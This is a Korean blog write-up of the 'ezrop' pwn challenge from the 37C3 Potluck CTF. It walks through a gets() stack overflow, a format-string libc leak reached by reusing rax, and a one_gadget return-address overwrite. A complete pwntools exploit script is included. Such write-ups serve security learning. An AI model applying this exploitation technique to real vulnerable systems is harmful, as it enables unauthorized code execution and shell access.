[37C3 Potluck CTF] ezrop WU

chk_pass·2023년 12월 30일
1

Potluck Ctf의 문제 중 난이도가 어려운 건 아니지만 풀이 방식이 인상적이었던 문제가 있어 WU을 적어보려 한다.
ctf 중 익스에는 실패했지만, 종료 후 디코에서 힌트를 얻어 풀었다.

[37C3 Potluck CTF]
ezrop (pwn)
64 bit, partial Relro, NX

바이너리와 libc파일이 주어졌다. 우선 IDA로 코드를 살펴보자.

메인 함수는 위와 같이 간단하게 두 함수로 이루어져 있다.
ignore_me는 setvbuf함수들로만 이루어져 있고, 중요한 건 vuln이다.


gets(v1)에 의해 BOF가 터진다.

처음에는 간단한 rop문제인 줄 알았는데 바이너리 내 가젯을 확인해보면 pop rdi가 없다. 이거 때문에 좀 많이 해멨다.

처음으로 생각한 방식은 rtc였다. 하지만 rtc를 위한 코드를 찾을 수도 없었다.
다음으로는 partial relro이기 때문에 gets의 인자가 rbp-0x20이므로 bof에서 rbp를 특정 함수의 got+0x20의 값으로 조작하고 다시 한번 gets를 실행시켜 got overwrite을 시도해봤지만 조작된 rbp가 코드 영역에 존재하므로 leave가 실행되면서 오류가 발생해 이 방법을 사용할 수 없었다.

그렇게 익스에 실패했고 이후 디코에서 방법을 알 수 있었다. 바로 gets 종료 후 rax에 rbp-0x20의 값이 들어간다는 것이었다.
gets직후의 레지스터 상황인데 rax에 gets의 인자와 동일한 주소가 들어가 있음을 확인할 수 있다. (실제로 gets의 반환값은 인자값이다.)

vuln의 printf는 rax를 rdi에 넣은 다음 실행되기 때문에 vuln종료 후 printf실행 직전으로 jmp시키면 내가 이전에 스택에 gets로 넣어놓은 값을 바탕으로 fsb를 발생시킬 수 있다.

이 부분을 활용해 printf에서 libc를 leak하고 또 다시 gets가 실행될 때 ret을 원가젯으로 덮어 쉘을 따면 될 것 같다.

익스 코드는 아래와 같다.

from pwn import *
#64, Partial, NX
p=process("./ezrop")
e = ELF("./ezrop")

vuln = 0x00000000004011ee
printf_plt =  0x401060#e.plt['printf']
printf_got =  0x000000404018
bss = e.bss()
one = [0xebc85, 0xebc81, 0x50a47, 0xebc88]


payload = b"%3$p\x00" #fsb터지게 할 문자열 + null (rcx leak)
payload += b"A"*(0x20-len(payload))
payload += p64(bss+0x100) #두번째 gets에 유효한 주소가 들어가도록 하기 위함
payload += p64(vuln)


p.sendline(payload)

#printf(%3$p)에 의해 leak된 값으로 libc_base구하기
p.recvuntil(b"Enter your name: ")
libc_base = int(p.recv(14), 16) - 0x219aa0
log.info(hex(libc_base))


#두번째 gets에 대한 페이로드 => 원가젯 실행

payload2 = b"A"*0x20
payload2 += p64(bss+0x200) #원가젯 조건을 맞추기 위해서 (rbp-0x78 is writable)
payload2 += p64(libc_base+one[1])

pause()
p.sendline(payload2)

p.interactive()

익스 과정에서 또다시 주의해주어야 할 점은 rbp값을 신경써야 한다는 점이다.

우선 첫 번째 페이로드에서는 이 페이로드로 인해 바뀌는 rbp값을 기준으로 두 번째 gets(rbp-0x20)이 실행될 것이기 때문에 rbp-0x20이 writable 해야 한다. 따라서 bss영역 + 0x100의 주소로 바꾸어줬다.

그리고 두 번째 페이로드로 인해 바뀌는 rbp값은 원가젯 조건을 맞추기 위해 특정 값을 맞춰줘야 했다.

내가 사용한 원가젯의 조건은 위와 같았는데, 원가젯 실행 당시의 rbp-0x78이 writable해야 하며 rbp-0x70 == NULL을 만족해야 한다.
따라서 gets에 의해 rbp-0x100-0x20의 위치에는 특정값들이 쓰여져 있을 것이므로 이와 충돌하지 않게 bss+0x200정도로 rbp값을 세팅해 두 가지 조건을 맞추어 줬다.

문제의 난이도 자체가 높은 건 아니지만, 이 문제를 풀면서 뭔가 필요한 가젯이 없을 때 어떻게 행동해야 할 지 조금 더 알게 된 것 같다.
앞으로 이런 상황이 생기면 어떻게든 존재하는 코드 내에서 방법이 없을지를 잘 생각해봐야 겠다. 특히 레지스터에 어떤 값들이 존재하는지, 그리고 그 레지스터 값을 이용해 필요한 인자를 세팅할 수 있는지 등을 확인해봐야 할 것 같다.

0개의 댓글